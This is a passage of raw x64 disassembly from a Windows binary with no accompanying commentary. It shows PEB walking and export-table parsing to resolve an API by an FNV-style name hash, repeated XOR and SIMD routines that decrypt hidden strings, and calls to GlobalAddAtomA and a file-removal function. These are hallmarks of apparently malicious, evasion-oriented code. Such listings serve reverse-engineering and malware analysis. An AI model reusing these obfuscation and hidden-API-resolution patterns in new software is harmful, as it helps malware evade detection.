lea rcx, [rbp + 0x38]
call fcn.140025790
mov rcx, rax
call fcn.14007d110
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rdi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov rbx, qword [rdx + r10 + 0x88]
mov ebx, ebx
add rbx, r10
cmp rbx, r10
je 0x140085344
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140085344
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x62dde3ca
movzx eax, byte [r8]
inc r8
test al, al
je 0x14008533f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x140085320
cmp edx, 0x9a34e5b3
je 0x140085349
test r9d, r9d
jne 0x140085300
mov rcx, qword [rcx]
jmp 0x1400852d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov rcx, rdi
call rax
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
jmp 0x14008556e
movups xmm0, xmmword [str._BTW_IQ_]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140138490]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1401384a0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1401384b0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x1401384c0]
movups xmmword [rbp + 0xc0], xmm0
mov eax, dword [0x1401384d0]
mov dword [rbp + 0xd0], eax
movzx eax, byte [0x1401384d4]
mov byte [rbp + 0xd4], al
mov r8d, r14d
cmp esi, 2
jl 0x140085515
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140085410
cmp r8d, 0x55
jge 0x140085562
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x55
jl 0x140085530
lea rcx, [rbp + 0x80]
call fcn.1400822a0
cmp byte [rbp + 0xfa], 0
je 0x140085712
mov r8d, r14d
cmp esi, 2
jl 0x1400856c5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe0]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400855c0
cmp r8d, 0x1b
jge 0x140085712
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400856e0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
cmp byte [rbp + 0xfa], 0
jne 0x1400858c2
mov r8d, r14d
cmp esi, 2
jl 0x140085875
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe0]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140085770
cmp r8d, 0x1b
jge 0x1400858c2
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140085890
lea rcx, [rbp + 0x38]
call fcn.140024af0
nop
lea rcx, [rbp + 0x18]
call fcn.140025730
cmp byte [rbp + 0xfa], 0
jne 0x140085a72
mov r8d, r14d
cmp esi, 2
jl 0x140085a25
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe0]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140085920
cmp r8d, 0x1b
jge 0x140085a72
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140085a40
call fcn.14006c7a0
mov r8d, r14d
test al, al
je 0x140085c00
movsd xmm0, qword [0x140138520]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x140138528]
mov dword [rbp - 0x60], eax
movzx eax, byte [0x14013852c]
mov byte [rbp - 0x5c], al
cmp esi, 2
jl 0x140085baa
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140138520]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140085bc0
lea rcx, [rbp - 0x68]
call fcn.1400830b0
jmp 0x14008667f
movups xmm0, xmmword [0x1401383e8]
movups xmmword [rbp - 8], xmm0
movsd xmm0, qword [0x1401383f8]
movsd qword [rbp + 8], xmm0
mov eax, dword [0x140138400]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x140138404]
mov byte [rbp + 0x14], al
cmp esi, 2
jl 0x140085d75
movdqa xmm5, xmmword [0x1401395c0]
mov r8d, r14d
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140085c70
cmp r8d, 0x1d
jge 0x140085db2
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140085d80
lea rcx, [rbp - 8]
call fcn.1400822a0
mov eax, dword [0x140139024]
mov dword [rbp - 0x68], eax
movzx edx, word [0x140139028]
mov word [rbp - 0x64], dx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
mov eax, dword [0x140138588]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14013858c]
mov word [rbp - 0x34], ax
movzx ebx, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x32], bl
mov byte [rbp - 0x68], gethostname
xor byte [rbp - 0x67], 0x37
xor byte [rbp - 0x66], 0x38
xor byte [rbp - 0x65], 0x39
xor dl, 0x3a
mov byte [rbp - 0x64], dl
xor byte [rbp - 0x63], 0x3b
xor cl, 0x3c
mov byte [rbp - 0x62], cl
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.140021530
mov r8, rax
lea rdx, [rbp - 0x58]
lea rcx, [0x1401509d0]
call fcn.14010aed0
nop
test bl, bl
je 0x140085e57
xor byte [rbp - 0x38], 0x36
xor byte [rbp - 0x37], 0x37
xor byte [rbp - 0x36], 0x38
xor byte [rbp - 0x35], 0x39
xor byte [rbp - 0x34], 0x3a
xor byte [rbp - 0x33], 0x3b
xor bl, 0x3c
mov byte [rbp - 0x32], bl
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x50]
call fcn.140021530
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [0x1401509d0]
call fcn.14010aed0
nop
mov eax, dword [0x140138664]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140138668]
mov byte [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x1f], 0x37
xor byte [rbp - 0x1e], 0x38
xor byte [rbp - 0x1d], 0x39
xor al, 0x3a
mov byte [rbp - 0x1c], al
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x38]
call fcn.14007d380
nop
mov eax, dword [0x140138664]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x140138668]
mov byte [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x17], 0x37
xor byte [rbp - 0x16], 0x38
xor byte [rbp - 0x15], 0x39
xor al, 0x3a
mov byte [rbp - 0x14], al
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x80]
call fcn.14007d380
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 8]
call fcn.1400342f0
mov rbx, rax
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rdx, rbx
mov rcx, rax
call fcn.14007cf80
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 8]
call fcn.1400342f0
mov rbx, rax
lea rcx, [rbp + 0x80]
call fcn.140025790
mov rdx, rbx
mov rcx, rax
call fcn.14007cf80
lea rcx, [rbp - 0x58]
call fcn.140091870
lea rcx, [rbp + 0x18]
call fcn.140091870
lea rcx, [rbp + 0x38]
call fcn.140025790
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.140093190
nop
lea rcx, [rbp - 8]
call fcn.14007eb80
movzx ebx, al
lea rcx, [rbp - 8]
call fcn.14001f750
test bl, bl
je 0x140085fe7
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rcx, rax
call fcn.14007d110
lea rcx, [rbp + 0x80]
call fcn.140025790
mov rcx, rax
call fcn.14007d110
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rbx, rax
lea rcx, [rbp + 0x80]
call fcn.140025790
mov rdx, rbx
mov rcx, rax
call fcn.14007cd60
lea rcx, [rbp + 0x38]
call fcn.140025790
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
lea rcx, [rbp + 0x80]
call fcn.14002c6f0
jmp 0x14008619b
movups xmm0, xmmword [0x1401384d8]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x1401384e8]
mov dword [rbp + 8], eax
movzx eax, word [0x1401384ec]
mov word [rbp + 0xc], ax
cmp byte [0x1401384ed], 0
je 0x140086192
mov r8d, r14d
cmp esi, 2
jl 0x140086155
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140086050
cmp r8d, 0x16
jge 0x140086192
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140086160
lea rcx, [rbp - 8]
call fcn.1400822a0
call fcn.14006c7a0
test al, al
je 0x140086343
movsd xmm0, qword [str.rEQO_I]
movsd qword [rbp + 0x118], xmm0
mov eax, dword [0x140139130]
mov dword [rbp + 0x120], eax
movzx eax, word [0x140139134]
mov word [rbp + 0x124], ax
cmp byte [0x140139135], 0
je 0x140086332
mov r8d, r14d
cmp esi, 2
jl 0x1400862f3
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rEQO_I]
xorps xmm2, xmm0
movd dword [rbp + 0x118], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140086300
lea rcx, [rbp + 0x118]
call fcn.1400830b0
jmp 0x140086655
movups xmm0, xmmword [0x1401384d8]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x1401384e8]
mov dword [rbp + 8], eax
movzx eax, word [0x1401384ec]
mov word [rbp + 0xc], ax
cmp byte [0x1401384ed], 0
je 0x1400864f2
mov r8d, r14d
cmp esi, 2
jl 0x1400864b5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400863b0
cmp r8d, 0x16
jge 0x1400864f2
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400864c0
lea rcx, [rbp - 8]
call fcn.1400822a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rbp - 0x68], rcx
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140086584
mov r9d, dword [rbx + 0x18]
test r9d, r9d
